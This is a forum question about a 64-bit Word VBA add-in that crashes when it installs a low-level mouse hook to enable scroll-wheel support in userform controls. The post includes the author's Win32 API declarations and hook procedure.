From hours of searching this site and googling I found that hooking into mouse scroll wheel events from VBA for use in userforms/controls is well documented for 32 bit Office and I got this to work quickly and flawlessly on a Win10/64 bit and Word 2016/32 bit environment. However when moving to a 64 bit Office environment (Win10/64bit) it consistently crashed after calling 'SetWindowsHookEx' and then moving the mouse cursor.
Being aware of the Long vs LongLong (LongPtr) implementation changes from 32 to 64 bit and the inconsistent code examples I found with respect to Long/LongPtr, I checked every bit of my code using the standard Microsoft WIN32API declare statements for 64 bit but it still crashes.
For reference: I'm building my own 'Insert cross-references' functionality as an add-in to Word, for private use.
The event log only shows an 'Exception code: 0xc0000005' occurred in VBE7.dll and I am at a loss as how to continue troubleshooting this. I've spent hours online searching for options, trying different things with my code but to no avail. Can anyone advise how to proceed to drill down on this problem? Any help is appreciated.
The relevant code snippet is below, all declares come from the above linked WIN32API reference except WindowFromPoint because the 'LongLong' type for Point seemed wrong to me. All checks on err.LastDllError report no error , except for SetWindowsHookEx, the msg from err.lastDllError is Command successfully completed. On SetWindowsHookEx the message is empty but a non-zero mouse hook is returned. Moving the mouse directly after this call crashes Word - removing the call to SetWindowsHookEx does not crash Word. I've set a debug.print in MouseProc but it never gets there.
Below code is void of VBA7/WIN64 checks as I wanted a clean code for 64 bit to check and get it working before I merge it with my 32 bit implementation.
Option Explicit
' Window field offsets for GetWindowLong() and GetWindowWord()
Private Const GWL_WNDPROC = (-4)
Private Const GWL_HWNDPARENT = (-8)
Private Const GWL_STYLE = (-16)
Private Const GWL_EXSTYLE = (-20)
Private Const GWL_USERDATA = (-21)
Private Const GWL_ID = (-12)
Private Const GWL_HINSTANCE As Long = (-6)
'set up the variables used for the mousewheel
Private Const WH_MOUSE_LL As Long = 14
Private Const WM_MOUSEWHEEL As LongPtr = &H20A
Private Const HC_ACTION As Long = 0
' DLL messages
Private Const FORMAT_MESSAGE_FROM_SYSTEM = &H1000
Private Type POINTAPI
X As Long
Y As Long
End Type
Private Type Msg
hwnd As LongPtr
message As Long
wParam As LongPtr
lParam As LongPtr
time As Long
pt As POINTAPI
End Type
Private Type MOUSEHOOKSTRUCT
pt As POINTAPI
hwnd As LongPtr
wHitTestCode As Long
dwExtraInfo As LongPtr
End Type
Private Declare PtrSafe Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
'Private Declare PtrSafe Function WindowFromPoint Lib "user32" (ByVal point As LongLong) As LongPtr
Private Declare PtrSafe Function WindowFromPoint Lib "user32" (ByVal point As LongPtr) As LongPtr
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Private Declare PtrSafe Function GetWindowLongPtr Lib "user32" Alias "GetWindowLongPtrA" (ByVal hwnd As LongPtr, ByVal nIndex As Long) As LongPtr
Private Declare PtrSafe Function SetWindowLongPtr Lib "user32" Alias "SetWindowLongPtrA" (ByVal hwnd As LongPtr, ByVal nIndex As Long, ByVal dwNewLong As LongPtr) As LongPtr
Private Declare PtrSafe Function SetWindowsHook Lib "user32" Alias "SetWindowsHookA" (ByVal nFilterType As Long, ByVal pfnFilterProc As LongPtr) As LongPtr
Private Declare PtrSafe Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As LongPtr, ByVal lpfn As LongPtr, ByVal hmod As LongPtr, ByVal dwThreadId As Long) As LongPtr
Private Declare PtrSafe Function CallNextHookEx Lib "user32" (ByVal hHook As LongPtr, ByVal nCode As Long, ByVal wParam As LongPtr, lParam As Any) As LongPtr
Private Declare PtrSafe Function GetCurrentThreadId Lib "kernel32" () As Long
Private Declare PtrSafe Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As LongPtr) As Long
Private Declare PtrSafe Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, lpSource As Any, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, Arguments As LongPtr) As Long
Private Declare PtrSafe Function GetLastError Lib "kernel32" () As Long
Dim n As Long
Private mCtl As MSForms.Control
Private mbHook As Boolean
Private mLngMouseHook As LongPtr
Private mListBoxHwnd As LongPtr
Sub HookListBoxScroll64(frm As Object, ctl As MSForms.Control)
Dim tPT As POINTAPI
Dim lngAppInst As LongPtr
Dim hwndUnderCursor As LongPtr
Dim ptLL As LongLong
GetCursorPos tPT
Debug.Print "GetCursorPos err: " & GetWin32ErrorDescription(err.LastDllError)
ptLL = PointToLongLong(tPT)
Debug.Print "PointToLongLong err: " & GetWin32ErrorDescription(err.LastDllError)
hwndUnderCursor = WindowFromPoint(ptLL)
Debug.Print "WindowFromPoint err: " & GetWin32ErrorDescription(err.LastDllError)
If Not IsNull(frm.ActiveControl) And Not frm.ActiveControl Is ctl Then
ctl.SetFocus
End If
If mListBoxHwnd <> hwndUnderCursor Then
UnhookListBoxScroll64
Debug.Print "UnhookListBoxScroll64 err: " & GetWin32ErrorDescription(err.LastDllError)
Set mCtl = ctl
mListBoxHwnd = hwndUnderCursor
lngAppInst = GetWindowLongPtr(mListBoxHwnd, GWL_HINSTANCE)
Debug.Print "GetWindowLongPtr AppInst: " & lngAppInst & ", err: " & GetWin32ErrorDescription(err.LastDllError)
If Not mbHook Then
mLngMouseHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf MouseProc, lngAppInst, 0)
Debug.Print "SetWindowsHookEx hook: " & mLngMouseHook & ", err: " & GetWin32ErrorDescription(err.LastDllError)
mbHook = mLngMouseHook <> 0
End If
End If
End Sub
Private Function MouseProc( _
ByVal nCode As Long, ByVal wParam As LongPtr, _
ByRef lParam As MOUSEHOOKSTRUCT) As LongPtr
Debug.Print "MouseProc"
Dim idx As Long
On Error GoTo errH
If (nCode = HC_ACTION) Then
Dim ptLL As LongLong
ptLL = PointToLongLong(lParam.pt)
If WindowFromPoint(ptLL) = mListBoxHwnd Then
If wParam = WM_MOUSEWHEEL Then
MouseProc = True
If TypeOf mCtl Is frame Then
If lParam.hwnd > 0 Then idx = -10 Else idx = 10
idx = idx + mCtl.ScrollTop
If idx >= 0 And idx < ((mCtl.ScrollHeight - mCtl.Height) + 17.25) Then
mCtl.ScrollTop = idx
End If
ElseIf TypeOf mCtl Is UserForm Then
If lParam.hwnd > 0 Then idx = -10 Else idx = 10
idx = idx + mCtl.ScrollTop
If idx >= 0 And idx < ((mCtl.ScrollHeight - mCtl.Height) + 17.25) Then
mCtl.ScrollTop = idx
End If
Else
If lParam.hwnd > 0 Then idx = -1 Else idx = 1
idx = idx + mCtl.ListIndex
If idx >= 0 Then mCtl.ListIndex = idx
End If
Exit Function
End If
Else
UnhookListBoxScroll64
End If
End If
MouseProc = CallNextHookEx( _
mLngMouseHook, nCode, wParam, ByVal lParam)
Exit Function
errH:
UnhookListBoxScroll64
End Function